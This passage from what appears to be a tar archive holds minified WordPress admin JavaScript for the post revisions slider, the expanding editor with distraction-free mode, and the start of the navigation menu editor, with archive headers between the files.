_.extend({type:"tooltip"},{attributes:this.model.get("revision").toJSON()})},render:function(){var e,i={},t=.5<(this.model.revisions.indexOf(this.model.get("revision"))+1)/this.model.revisions.length,s=isRtl?(e=t?"left":"right",t?"leftPlusWidth":e):(e=t?"right":"left",t?"rightPlusWidth":e),o="right"===e?"left":"right";wp.Backbone.View.prototype.render.apply(this,arguments),i[e]=this.model.get("offset")[s]+"px",i[o]="",this.$el.toggleClass("flipped",t).css(i)},visible:function(){return this.model.get("scrubbing")||this.model.get("hovering")},toggleVisibility:function(){this.visible()?this.$el.stop().show().fadeTo(100-100*this.el.style.opacity,1):this.$el.stop().fadeTo(300*this.el.style.opacity,0,function(){a(this).hide()})}}),s.view.Buttons=wp.Backbone.View.extend({className:"revisions-buttons",template:wp.template("revisions-buttons"),events:{"click .revisions-next .button":"nextRevision","click .revisions-previous .button":"previousRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.disabledButtonCheck)},ready:function(){this.disabledButtonCheck()},gotoModel:function(e){var i={to:this.model.revisions.at(e)};e?i.from=this.model.revisions.at(e-1):this.model.unset("from",{silent:!0}),this.model.set(i)},nextRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))+1;this.gotoModel(e)},previousRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))-1;this.gotoModel(e)},disabledButtonCheck:function(){var e=this.model.revisions.length-1,i=a(".revisions-next .button"),t=a(".revisions-previous .button"),s=this.model.revisions.indexOf(this.model.get("to"));i.prop("disabled",e===s),t.prop("disabled",0===s)}}),s.view.Slider=wp.Backbone.View.extend({className:"wp-slider",direction:isRtl?"right":"left",events:{mousemove:"mouseMove"},initialize:function(){_.bindAll(this,"start","slide","stop","mouseMove","mouseEnter","mouseLeave"),this.listenTo(this.model,"update:slider",this.applySliderSettings)},ready:function(){this.$el.css("width",50*this.model.revisions.length+"px"),this.$el.slider(_.extend(this.model.toJSON(),{start:this.start,slide:this.slide,stop:this.stop})),this.$el.hoverIntent({over:this.mouseEnter,out:this.mouseLeave,timeout:800}),this.applySliderSettings()},accessibilityHelper:function(){var e=a(".ui-slider-handle");e.first().attr({role:"button","aria-labelledby":"diff-title-from diff-title-author","aria-describedby":"revisions-slider-hidden-help"}),e.last().attr({role:"button","aria-labelledby":"diff-title-to diff-title-author","aria-describedby":"revisions-slider-hidden-help"})},mouseMove:function(e){var i=this.model.revisions.length-1,t=this.$el.allOffsets()[this.direction],i=this.$el.width()/i,e=(isRtl?a(window).width()-e.pageX:e.pageX)-t,t=Math.floor((e+i/2)/i);t<0?t=0:t>=this.model.revisions.length&&(t=this.model.revisions.length-1),this.model.set({hoveredRevision:this.model.revisions.at(t)})},mouseLeave:function(){this.model.set({hovering:!1})},mouseEnter:function(){this.model.set({hovering:!0})},applySliderSettings:function(){this.$el.slider(_.pick(this.model.toJSON(),"value","values","range"));var e=this.$("a.ui-slider-handle");this.model.get("compareTwoMode")?(e.first().toggleClass("to-handle",!!isRtl).toggleClass("from-handle",!isRtl),e.last().toggleClass("from-handle",!!isRtl).toggleClass("to-handle",!isRtl)):e.removeClass("from-handle to-handle"),this.accessibilityHelper()},start:function(e,d){this.model.set({scrubbing:!0}),a(window).on("mousemove.wp.revisions",{view:this},function(e){var i=e.data.view,t=i.$el.offset().left,s=t,o=t+i.$el.width(),n="0",r="100%",l=a(d.handle);i.model.get("compareTwoMode")&&(i=l.parent().find(".ui-slider-handle"),l.is(i.first())?r=(o=i.last().offset().left)-s:n=(t=i.first().offset().left+i.first().width())-s),e.pageX<t?l.css("left",n):e.pageX>o?l.css("left",r):l.css("left",e.pageX-s)})},getPosition:function(e){return isRtl?this.model.revisions.length-e-1:e},slide:function(e,i){var t;if(this.model.get("compareTwoMode")){if(i.values[1]===i.values[0])return!1;isRtl&&i.values.reverse(),t={from:this.model.revisions.at(this.getPosition(i.values[0])),to:this.model.revisions.at(this.getPosition(i.values[1]))}}else t={to:this.model.revisions.at(this.getPosition(i.value))},0<this.getPosition(i.value)?t.from=this.model.revisions.at(this.getPosition(i.value)-1):t.from=void 0;i=this.model.revisions.at(this.getPosition(i.value)),this.model.get("scrubbing")&&(t.hoveredRevision=i),this.model.set(t)},stop:function(){a(window).off("mousemove.wp.revisions"),this.model.updateSliderSettings(),this.model.set({scrubbing:!1})}}),s.view.Diff=wp.Backbone.View.extend({className:"revisions-diff",template:wp.template("revisions-diff"),prepare:function(){return _.extend({fields:this.model.fields.toJSON()},this.options)}}),s.Router=Backbone.Router.extend({initialize:function(e){this.model=e.model,this.listenTo(this.model,"update:diff",_.debounce(this.updateUrl,250)),this.listenTo(this.model,"change:compareTwoMode",this.updateUrl)},baseUrl:function(e){return this.model.get("baseUrl")+e},updateUrl:function(){var e=this.model.has("from")?this.model.get("from").id:0,i=this.model.get("to").id;this.model.get("compareTwoMode")?this.navigate(this.baseUrl("?from="+e+"&to="+i),{replace:!0}):this.navigate(this.baseUrl("?revision="+i),{replace:!0})},handleRoute:function(e,i){_.isUndefined(i)||(i=this.model.revisions.get(e),e=this.model.revisions.prev(i),i=i?i.id:0,e&&e.id)}}),s.init=function(){var e;window.adminpage&&"revision-php"===window.adminpage&&(e=new s.model.FrameState({initialDiffState:{to:parseInt(s.settings.to,10),from:parseInt(s.settings.from,10),compareTwoMode:"1"===s.settings.compareTwoMode},diffData:s.settings.diffData,baseUrl:s.settings.baseUrl,postId:parseInt(s.settings.postId,10)},{revisions:new s.model.Revisions(s.settings.revisionData)}),s.view.frame=new s.view.Frame({model:e}).render())},a(s.init)}(jQuery); editor-expand.min.js 0000644 00000032213 15174417325 0010441 0 ustar 00 /*! This file is auto-generated */ !function(F,I){"use strict";var L=I(F),M=I(document),V=I("#wpadminbar"),N=I("#wpfooter");I(function(){var g,e,u=I("#postdivrich"),h=I("#wp-content-wrap"),m=I("#wp-content-editor-tools"),w=I(),H=I(),b=I("#ed_toolbar"),v=I("#content"),i=v[0],o=0,x=I("#post-status-info"),y=I(),T=I(),B=I("#side-sortables"),C=I("#postbox-container-1"),S=I("#post-body"),O=F.wp.editor&&F.wp.editor.fullscreen,r=function(){},l=function(){},z=!1,E=!1,k=!1,A=!1,W=0,K=56,R=20,Y=300,f=h.hasClass("tmce-active")?"tinymce":"html",U=!!parseInt(F.getUserSetting("hidetb"),10),D={windowHeight:0,windowWidth:0,adminBarHeight:0,toolsHeight:0,menuBarHeight:0,visualTopHeight:0,textTopHeight:0,bottomHeight:0,statusBarHeight:0,sideSortablesHeight:0},a=F._.throttle(function(){var t=F.scrollX||document.documentElement.scrollLeft,e=F.scrollY||document.documentElement.scrollTop,o=parseInt(i.style.height,10);i.style.height=Y+"px",i.scrollHeight>Y&&(i.style.height=i.scrollHeight+"px"),void 0!==t&&F.scrollTo(t,e),i.scrollHeight<o&&p()},300);function P(){var t=i.value.length;g&&!g.isHidden()||!g&&"tinymce"===f||(t<o?a():parseInt(i.style.height,10)<i.scrollHeight&&(i.style.height=Math.ceil(i.scrollHeight)+"px",p()),o=t)}function p(t){var e,o,i,n,s,f,a,d,c,u,r,l,p;O&&O.settings.visible||(e=L.scrollTop(),o="scroll"!==(u=t&&t.type),i=g&&!g.isHidden(),n=Y,s=S.offset().top,f=h.width(),!o&&D.windowHeight||(p=L.width(),(D={windowHeight:L.height(),windowWidth:p,adminBarHeight:600<p?V.outerHeight():0,toolsHeight:m.outerHeight()||0,menuBarHeight:y.outerHeight()||0,visualTopHeight:w.outerHeight()||0,textTopHeight:b.outerHeight()||0,bottomHeight:x.outerHeight()||0,statusBarHeight:T.outerHeight()||0,sideSortablesHeight:B.height()||0}).menuBarHeight<3&&(D.menuBarHeight=0)),i||"resize"!==u||P(),p=i?(a=w,l=H,D.visualTopHeight):(a=b,l=v,D.textTopHeight),(i||a.length)&&(u=a.parent().offset().top,r=l.offset().top,l=l.outerHeight(),(i?Y+p:Y+20)+5<l?((!z||o)&&e>=u-D.toolsHeight-D.adminBarHeight&&e<=u-D.toolsHeight-D.adminBarHeight+l-n?(z=!0,m.css({position:"fixed",top:D.adminBarHeight,width:f}),i&&y.length&&y.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),a.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):(z||o)&&(e<=u-D.toolsHeight-D.adminBarHeight?(z=!1,m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):e>=u-D.toolsHeight-D.adminBarHeight+l-n&&(z=!1,m.css({position:"absolute",top:l-n,width:f}),i&&y.length&&y.css({position:"absolute",top:l-n,width:f-2}),a.css({position:"absolute",top:l-n+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}))),(!E||o&&U)&&e+D.windowHeight<=r+l+D.bottomHeight+D.statusBarHeight+1?t&&0<t.deltaHeight&&t.deltaHeight<100?F.scrollBy(0,t.deltaHeight):i&&U&&(E=!0,T.css({position:"fixed",bottom:D.bottomHeight,visibility:"",width:f-2}),x.css({position:"fixed",bottom:0,width:f})):(!U&&E||(E||o)&&e+D.windowHeight>r+l+D.bottomHeight+D.statusBarHeight-1)&&(E=!1,T.attr("style",U?"":"visibility: hidden;"),x.attr("style",""))):o&&(m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),T.attr("style",U?"":"visibility: hidden;"),x.attr("style","")),C.width()<300&&600<D.windowWidth&&M.height()>B.height()+s+120&&D.windowHeight<l?(D.sideSortablesHeight+K+R>D.windowHeight||k||A?e+K<=s?(B.attr("style",""),k=A=!1):W<e?k?(k=!1,d=B.offset().top-D.adminBarHeight,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!A&&D.sideSortablesHeight+B.offset().top+R<e+D.windowHeight&&(A=!0,B.css({position:"fixed",top:"auto",bottom:R})):e<W&&(A?(A=!1,d=B.offset().top-R,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!k&&B.offset().top>=e+K&&(k=!0,B.css({position:"fixed",top:K,bottom:""}))):(s-K<=e?B.css({position:"fixed",top:K}):B.attr("style",""),k=A=!1),W=e):(B.attr("style",""),k=A=!1),o)&&(h.css({paddingTop:D.toolsHeight}),i?H.css({paddingTop:D.visualTopHeight+D.menuBarHeight}):v.css({marginTop:D.textTopHeight})))}function n(){P(),p()}function X(t){for(var e=1;e<6;e++)setTimeout(t,500*e)}function t(){F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.addClass("wp-editor-expand"),L.on("scroll.editor-expand resize.editor-expand",function(t){p(t.type),clearTimeout(e),e=setTimeout(p,100)}),M.on("wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand",p).on("postbox-toggled.editor-expand postbox-moved.editor-expand",function(){!k&&!A&&F.pageYOffset>K&&(A=!0,F.scrollBy(0,-1),p(),F.scrollBy(0,1)),p()}).on("wp-window-resized.editor-expand",function(){g&&!g.isHidden()?g.execCommand("wpAutoResize"):P()}),v.on("focus.editor-expand input.editor-expand propertychange.editor-expand",P),r(),O&&O.pubsub.subscribe("hidden",n),g&&(g.settings.wp_autoresize_on=!0,g.execCommand("wpAutoResizeOn"),g.isHidden()||g.execCommand("wpAutoResize")),g&&!g.isHidden()||P(),p(),M.trigger("editor-expand-on")}function s(){var t=parseInt(F.getUserSetting("ed_size",300),10);t<50?t=50:5e3<t&&(t=5e3),F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.removeClass("wp-editor-expand"),L.off(".editor-expand"),M.off(".editor-expand"),v.off(".editor-expand"),l(),O&&O.pubsub.unsubscribe("hidden",n),I.each([w,b,m,y,x,T,h,H,v,B],function(t,e){e&&e.attr("style","")}),z=E=k=A=!1,g&&(g.settings.wp_autoresize_on=!1,g.execCommand("wpAutoResizeOff"),g.isHidden()||(v.hide(),t&&g.theme.resizeTo(null,t))),t&&v.height(t),M.trigger("editor-expand-off")}M.on("tinymce-editor-init.editor-expand",function(t,f){var a=F.tinymce.util.VK,e=_.debounce(function(){I(".mce-floatpanel:hover").length||F.tinymce.ui.FloatPanel.hideAll(),I(".mce-tooltip").hide()},1e3,!0);function o(t){t=t.keyCode;t<=47&&t!==a.SPACEBAR&&t!==a.ENTER&&t!==a.DELETE&&t!==a.BACKSPACE&&t!==a.UP&&t!==a.LEFT&&t!==a.DOWN&&t!==a.UP||91<=t&&t<=93||112<=t&&t<=123||144===t||145===t||i(t)}function i(t){var e,o,i,n,s=function(){var t,e,o=f.selection.getNode();if(f.wp&&f.wp.getView&&(t=f.wp.getView(o)))e=t.getBoundingClientRect();else{t=f.selection.getRng();try{e=t.getClientRects()[0]}catch(t){}e=e||o.getBoundingClientRect()}return!!e.height&&e}();s&&(o=(e=s.top+f.iframeElement.getBoundingClientRect().top)+s.height,e-=50,o+=50,i=D.adminBarHeight+D.toolsHeight+D.menuBarHeight+D.visualTopHeight,(n=D.windowHeight-(U?D.bottomHeight+D.statusBarHeight:0))-i<s.height||(e<i&&(t===a.UP||t===a.LEFT||t===a.BACKSPACE)?F.scrollTo(F.pageXOffset,e+F.pageYOffset-i):n<o&&F.scrollTo(F.pageXOffset,o+F.pageYOffset-n)))}function n(t){t.state||p()}function s(){L.on("scroll.mce-float-panels",e),setTimeout(function(){f.execCommand("wpAutoResize"),p()},300)}function d(){L.off("scroll.mce-float-panels"),setTimeout(function(){var t=h.offset().top;F.pageYOffset>t&&F.scrollTo(F.pageXOffset,t-D.adminBarHeight),P(),p()},100),p()}function c(){U=!U}"content"===f.id&&((g=f).settings.autoresize_min_height=Y,w=h.find(".mce-toolbar-grp"),H=h.find(".mce-edit-area"),T=h.find(".mce-statusbar"),y=h.find(".mce-menubar"),r=function(){f.on("keyup",o),f.on("show",s),f.on("hide",d),f.on("wp-toolbar-toggle",c),f.on("setcontent wp-autoresize wp-toolbar-toggle",p),f.on("undo redo",i),f.on("FullscreenStateChanged",n),L.off("scroll.mce-float-panels").on("scroll.mce-float-panels",e)},l=function(){f.off("keyup",o),f.off("show",s),f.off("hide",d),f.off("wp-toolbar-toggle",c),f.off("setcontent wp-autoresize wp-toolbar-toggle",p),f.off("undo redo",i),f.off("FullscreenStateChanged",n),L.off("scroll.mce-float-panels")},u.hasClass("wp-editor-expand"))&&(r(),X(p))}),u.hasClass("wp-editor-expand")&&(t(),h.hasClass("html-active"))&&X(function(){p(),P()}),I("#adv-settings .editor-expand").show(),I("#editor-expand-toggle").on("change.editor-expand",function(){I(this).prop("checked")?(t(),F.setUserSetting("editor_expand","on")):(s(),F.setUserSetting("editor_expand","off"))}),F.editorExpand={on:t,off:s}}),I(function(){var i,n,t,s,f,a,d,c,u,r,l,p=I(document.body),o=I("#wpcontent"),g=I("#post-body-content"),e=I("#title"),h=I("#content"),m=I(document.createElement("DIV")),w=I("#edit-slug-box"),H=w.find("a").add(w.find("button")).add(w.find("input")),Y=I("#adminmenuwrap"),b=(I(),I(),"on"===F.getUserSetting("editor_expand","on")),v=!!b&&"on"===F.getUserSetting("post_dfw"),x=0,y=0,T=20;function B(){(s=g.offset()).right=s.left+g.outerWidth(),s.bottom=s.top+g.outerHeight()}function C(){b||(b=!0,M.trigger("dfw-activate"),h.on("keydown.focus-shortcut",R))}function S(){b&&(z(),b=!1,M.trigger("dfw-deactivate"),h.off("keydown.focus-shortcut"))}function O(){!v&&b&&(v=!0,h.on("keydown.focus",_),e.add(h).on("blur.focus",A),_(),F.setUserSetting("post_dfw","on"),M.trigger("dfw-on"))}function z(){v&&(v=!1,e.add(h).off(".focus"),k(),g.off(".focus"),F.setUserSetting("post_dfw","off"),M.trigger("dfw-off"))}function E(){(v?z:O)()}function _(t){var e,o=t&&t.keyCode;F.navigator.platform&&(e=-1<F.navigator.platform.indexOf("Mac")),27===o||87===o&&t.altKey&&(!e&&t.shiftKey||e&&t.ctrlKey)?k(t):t&&(t.metaKey||t.ctrlKey&&!t.altKey||t.altKey&&t.shiftKey||o&&(o<=47&&8!==o&&13!==o&&32!==o&&46!==o||91<=o&&o<=93||112<=o&&o<=135||144<=o&&o<=150||224<=o))||(i||(i=!0,clearTimeout(r),r=setTimeout(function(){m.show()},600),g.css("z-index",9998),m.on("mouseenter.focus",function(){B(),L.on("scroll.focus",function(){var t=F.pageYOffset;c&&d&&c!==t&&(d<s.top-T||d>s.bottom+T)&&k(),c=t})}).on("mouseleave.focus",function(){f=a=null,x=y=0,L.off("scroll.focus")}).on("mousemove.focus",function(t){var e=t.clientX,t=t.clientY,o=F.pageYOffset,i=F.pageXOffset;if(f&&a&&(e!==f||t!==a))if(t<=a&&t<s.top-o||a<=t&&t>s.bottom-o||e<=f&&e<s.left-i||f<=e&&e>s.right-i){if(x+=Math.abs(f-e),y+=Math.abs(a-t),(t<=s.top-T-o||t>=s.bottom+T-o||e<=s.left-T-i||e>=s.right+T-i)&&(10<x||10<y))return k(),f=a=null,void(x=y=0)}else x=y=0;f=e,a=t}).on("touchstart.focus",function(t){t.preventDefault(),k()}),g.off("mouseenter.focus"),u&&(clearTimeout(u),u=null),p.addClass("focus-on").removeClass("focus-off")),!n&&i&&(n=!0,V.on("mouseenter.focus",function(){V.addClass("focus-off")}).on("mouseleave.focus",function(){V.removeClass("focus-off")})),W())}function k(t){i&&(i=!1,clearTimeout(r),r=setTimeout(function(){m.hide()},200),g.css("z-index",""),m.off("mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus"),void 0===t&&g.on("mouseenter.focus",function(){(I.contains(g.get(0),document.activeElement)||l)&&_()}),u=setTimeout(function(){u=null,g.off("mouseenter.focus")},1e3),p.addClass("focus-off").removeClass("focus-on")),n&&(n=!1,V.off(".focus")),K()}function A(){setTimeout(function(){var t=document.activeElement.compareDocumentPosition(g.get(0));function e(t){return I.contains(t.get(0),document.activeElement)}2!==t&&4!==t||!(e(Y)||e(o)||e(N))||k()},0)}function W(){t||!i||w.find(":focus").length||(t=!0,w.stop().fadeTo("fast",.3).on("mouseenter.focus",K).off("mouseleave.focus"),H.on("focus.focus",K).off("blur.focus"))}function K(){t&&(t=!1,w.stop().fadeTo("fast",1).on("mouseleave.focus",W).off("mouseenter.focus"),H.on("blur.focus",W).off("focus.focus"))}function R(t){t.altKey&&t.shiftKey&&87===t.keyCode&&E()}p.append(m),m.css({display:"none",position:"fixed",top:V.height(),right:0,bottom:0,left:0,"z-index":9997}),g.css({position:"relative"}),L.on("mousemove.focus",function(t){d=t.pageY}),I("#postdivrich").hasClass("wp-editor-expand")&&h.on("keydown.focus-shortcut",R),M.on("tinymce-editor-setup.focus",function(t,e){e.addButton("dfw",{active:v,classes:"wp-dfw btn widget",disabled:!b,onclick:E,onPostRender:function(){var t=this;e.on("init",function(){t.disabled()&&t.hide()}),M.on("dfw-activate.focus",function(){t.disabled(!1),t.show()}).on("dfw-deactivate.focus",function(){t.disabled(!0),t.hide()}).on("dfw-on.focus",function(){t.active(!0)}).on("dfw-off.focus",function(){t.active(!1)})},tooltip:"Distraction-free writing mode",shortcut:"Alt+Shift+W"}),e.addCommand("wpToggleDFW",E),e.addShortcut("access+w","","wpToggleDFW")}),M.on("tinymce-editor-init.focus",function(t,e){var o,i;function n(){l=!0}function s(){l=!1}"content"===e.id&&(I(e.getWin()),I(e.getContentAreaContainer()).find("iframe"),o=function(){e.on("keydown",_),e.on("blur",A),e.on("focus",n),e.on("blur",s),e.on("wp-autoresize",B)},i=function(){e.off("keydown",_),e.off("blur",A),e.off("focus",n),e.off("blur",s),e.off("wp-autoresize",B)},v&&o(),M.on("dfw-on.focus",o).on("dfw-off.focus",i),e.on("click",function(t){t.target===e.getDoc().documentElement&&e.focus()}))}),M.on("quicktags-init",function(t,e){var o;e.settings.buttons&&-1!==(","+e.settings.buttons+",").indexOf(",dfw,")&&(o=I("#"+e.name+"_dfw"),I(document).on("dfw-activate",function(){o.prop("disabled",!1)}).on("dfw-deactivate",function(){o.prop("disabled",!0)}).on("dfw-on",function(){o.addClass("active")}).on("dfw-off",function(){o.removeClass("active")}))}),M.on("editor-expand-on.focus",C).on("editor-expand-off.focus",S),v&&(h.on("keydown.focus",_),e.add(h).on("blur.focus",A)),F.wp=F.wp||{},F.wp.editor=F.wp.editor||{},F.wp.editor.dfw={activate:C,deactivate:S,isActive:function(){return b},on:O,off:z,toggle:E,isOn:function(){return v}}})}(window,window.jQuery); nav-menu.min.js 0000644 00000074101 15174417325 0007426 0 ustar 00 /*! This file is auto-generated */ !function(k){var I=window.wpNavMenu={options:{menuItemDepthPerLevel:30,globalMaxDepth:11,sortableItems:"> *",targetTolerance:0},menuList:void 0,targetList:void 0,menusChanged:!1,isRTL:!("undefined"==typeof isRtl||!isRtl),negateIfRTL:"undefined"!=typeof isRtl&&isRtl?-1:1,lastSearch:"",init:function(){I.menuList=k("#menu-to-edit"),I.targetList=I.menuList,this.jQueryExtensions(),this.attachMenuEditListeners(),this.attachBulkSelectButtonListeners(),this.attachMenuCheckBoxListeners(),this.attachMenuItemDeleteButton(),this.attachPendingMenuItemsListForDeletion(),this.attachQuickSearchListeners(),this.attachThemeLocationsListeners(),this.attachMenuSaveSubmitListeners(),this.attachTabsPanelListeners(),this.attachUnsavedChangesListener(),I.menuList.length&&this.initSortables(),menus.oneThemeLocationNoMenus&&k("#posttype-page").addSelectedToMenu(I.addMenuItemToBottom),this.initManageLocations(),this.initAccessibility(),this.initToggles(),this.initPreviewing()},jQueryExtensions:function(){k.fn.extend({menuItemDepth:function(){var e=I.isRTL?this.eq(0).css("margin-right"):this.eq(0).css("margin-left");return I.pxToDepth(e&&-1!=e.indexOf("px")?e.slice(0,-2):0)},updateDepthClass:function(t,n){return this.each(function(){var e=k(this);n=n||e.menuItemDepth(),k(this).removeClass("menu-item-depth-"+n).addClass("menu-item-depth-"+t)})},shiftDepthClass:function(i){return this.each(function(){var e=k(this),t=e.menuItemDepth(),n=t+i;e.removeClass("menu-item-depth-"+t).addClass("menu-item-depth-"+n),0===n&&e.find(".is-submenu").hide()})},childMenuItems:function(){var i=k();return this.each(function(){for(var e=k(this),t=e.menuItemDepth(),n=e.next(".menu-item");n.length&&n.menuItemDepth()>t;)i=i.add(n),n=n.next(".menu-item")}),i},shiftHorizontally:function(n){return this.each(function(){var e=k(this),t=e.menuItemDepth();e.moveHorizontally(t+n,t)})},moveHorizontally:function(a,s){return this.each(function(){var e=k(this),t=e.childMenuItems(),n=a-s,i=e.find(".is-submenu");e.updateDepthClass(a,s).updateParentMenuItemDBId(),t&&t.each(function(){var e=k(this),t=e.menuItemDepth();e.updateDepthClass(t+n,t).updateParentMenuItemDBId()}),0===a?i.hide():i.show()})},updateParentMenuItemDBId:function(){return this.each(function(){var e=k(this),t=e.find(".menu-item-data-parent-id"),n=parseInt(e.menuItemDepth(),10),e=e.prevAll(".menu-item-depth-"+(n-1)).first();0===n?t.val(0):t.val(e.find(".menu-item-data-db-id").val())})},hideAdvancedMenuItemFields:function(){return this.each(function(){var e=k(this);k(".hide-column-tog").not(":checked").each(function(){e.find(".field-"+k(this).val()).addClass("hidden-field")})})},addSelectedToMenu:function(a){return 0!==k("#menu-to-edit").length&&this.each(function(){var e=k(this),n={},t=menus.oneThemeLocationNoMenus&&0===e.find(".tabs-panel-active .categorychecklist li input:checked").length?e.find('#page-all li input[type="checkbox"]'):e.find(".tabs-panel-active .categorychecklist li input:checked"),i=/menu-item\[([^\]]*)/;if(a=a||I.addMenuItemToBottom,!t.length)return!1;e.find(".button-controls .spinner").addClass("is-active"),k(t).each(function(){var e=k(this),t=i.exec(e.attr("name")),t=void 0===t[1]?0:parseInt(t[1],10);this.className&&-1!=this.className.indexOf("add-to-top")&&(a=I.addMenuItemToTop),n[t]=e.closest("li").getItemData("add-menu-item",t)}),I.addItemToMenu(n,a,function(){t.prop("checked",!1),e.find(".button-controls .select-all").prop("checked",!1),e.find(".button-controls .spinner").removeClass("is-active"),e.updateParentDropdown(),e.updateOrderDropdown()})})},getItemData:function(t,n){t=t||"menu-item";var i,a={},s=["menu-item-db-id","menu-item-object-id","menu-item-object","menu-item-parent-id","menu-item-position","menu-item-type","menu-item-title","menu-item-url","menu-item-description","menu-item-attr-title","menu-item-target","menu-item-classes","menu-item-xfn"];return(n=n||"menu-item"!=t?n:this.find(".menu-item-data-db-id").val())&&this.find("input").each(function(){var e;for(i=s.length;i--;)"menu-item"==t?e=s[i]+"["+n+"]":"add-menu-item"==t&&(e="menu-item["+n+"]["+s[i]+"]"),this.name&&e==this.name&&(a[s[i]]=this.value)}),a},setItemData:function(e,a,s){return a=a||"menu-item",(s=s||"menu-item"!=a?s:k(".menu-item-data-db-id",this).val())&&this.find("input").each(function(){var n,i=k(this);k.each(e,function(e,t){"menu-item"==a?n=e+"["+s+"]":"add-menu-item"==a&&(n="menu-item["+s+"]["+e+"]"),n==i.attr("name")&&i.val(t)})}),this},updateParentDropdown:function(){return this.each(function(){var s=k("#menu-to-edit li"),e=k(".edit-menu-item-parent");k.each(e,function(){var n=k(this),e=parseInt(n.closest("li.menu-item").find(".menu-item-data-db-id").val()),i=parseInt(n.closest("li.menu-item").find(".menu-item-data-parent-id").val()),t=n.closest("li.menu-item").childMenuItems(),a=[e];n.empty(),0<t.length&&k.each(t,function(){var e=k(this),e=parseInt(e.find(".menu-item-data-db-id").val());a.push(e)}),n.append(k("<option>",{value:"0",selected:0===i,text:wp.i18n._x("No Parent","menu item without a parent in navigation menu")})),k.each(s,function(){var e=k(this),t=parseInt(e.find(".menu-item-data-db-id").val()),e=e.find(".edit-menu-item-title").val();a.includes(t)||n.append(k("<option>",{value:t.toString(),selected:i===t,text:e}))})})})},updateOrderDropdown:function(){return this.each(function(){var u,e=k(".edit-menu-item-order");k.each(e,function(){var t=k(this),e=t.closest("li.menu-item").first(),n=e.menuItemDepth(),i=0===n;if(t.empty(),i){var i=k(".menu-item-depth-0"),a=i.length;u=i.index(e)+1;for(let e=1;e<a+1;e++){var s=wp.i18n.sprintf(wp.i18n._x("%1$s of %2$s","part of a total number of menu items"),e,a);t.append(k("<option>",{selected:e===u,value:e.toString(),text:s}))}}else{var i=e.prevAll(".menu-item-depth-"+parseInt(n-1,10)).first().find(".menu-item-data-db-id").val(),n=k('.menu-item .menu-item-data-parent-id[value="'+i+'"]'),m=n.length;u=k(n.parents(".menu-item").get().reverse()).index(e)+1;for(let e=1;e<m+1;e++){var o=wp.i18n.sprintf(wp.i18n._x("%1$s of %2$s","part of a total number of menu items"),e,m);t.append(k("<option>",{selected:e===u,value:e.toString(),text:o}))}}})})}})},countMenuItems:function(e){return k(".menu-item-depth-"+e).length},moveMenuItem:function(e,t){var n,i,a=k("#menu-to-edit li"),s=a.length,m=e.parents("li.menu-item"),o=m.childMenuItems(),u=m.getItemData(),d=parseInt(m.menuItemDepth(),10),r=parseInt(m.index(),10),l=m.next(),c=l.childMenuItems(),h=parseInt(l.menuItemDepth(),10)+1,p=m.prev(),f=parseInt(p.menuItemDepth(),10),v=p.getItemData()["menu-item-db-id"],p=menus["moved"+t.charAt(0).toUpperCase()+t.slice(1)];switch(t){case"up":i=r-1,0!==r&&(0==i&&0!==d&&m.moveHorizontally(0,d),0!==f&&m.moveHorizontally(f,d),(o?n=m.add(o):m).detach().insertBefore(a.eq(i)).updateParentMenuItemDBId());break;case"down":if(o){if(n=m.add(o),(c=0!==(l=a.eq(n.length+r)).childMenuItems().length)&&(i=parseInt(l.menuItemDepth(),10)+1,m.moveHorizontally(i,d)),s===r+n.length)break;n.detach().insertAfter(a.eq(r+n.length)).updateParentMenuItemDBId()}else{if(0!==c.length&&m.moveHorizontally(h,d),s===r+1)break;m.detach().insertAfter(a.eq(r+1)).updateParentMenuItemDBId()}break;case"top":0!==r&&(o?n=m.add(o):m).detach().insertBefore(a.eq(0)).updateParentMenuItemDBId();break;case"left":0!==d&&m.shiftHorizontally(-1);break;case"right":0!==r&&u["menu-item-parent-id"]!==v&&m.shiftHorizontally(1)}e.trigger("focus"),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),m.updateParentDropdown(),m.updateOrderDropdown(),p&&wp.a11y.speak(p)},initAccessibility:function(){var e=k("#menu-to-edit");I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.on("mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility",".menu-item",function(){I.refreshAdvancedAccessibilityOfItem(k(this).find("a.item-edit"))}),e.on("click","a.item-edit",function(){I.refreshAdvancedAccessibilityOfItem(k(this))}),e.on("click",".menus-move",function(){var e=k(this).data("dir");void 0!==e&&I.moveMenuItem(k(this).parents("li.menu-item").find("a.item-edit"),e)}),e.updateParentDropdown(),e.updateOrderDropdown(),e.on("change",".edit-menu-item-parent",function(){I.changeMenuParent(k(this))}),e.on("change",".edit-menu-item-order",function(){I.changeMenuOrder(k(this))})},changeMenuParent:function(e){var t=k("#menu-to-edit li"),e=k(e),n=e.val(),i=e.closest("li.menu-item").first(),a=i.menuItemDepth(),s=i.childMenuItems(),m=parseInt(i.childMenuItems().length,10),o=k("#menu-item-"+n),u=o.menuItemDepth(),u=parseInt(u)+1,u=(0==n&&(u=0),i.find(".menu-item-data-parent-id").val(n),i.moveHorizontally(u,a),(i=0<m?i.add(s):i).detach(),t=k("#menu-to-edit 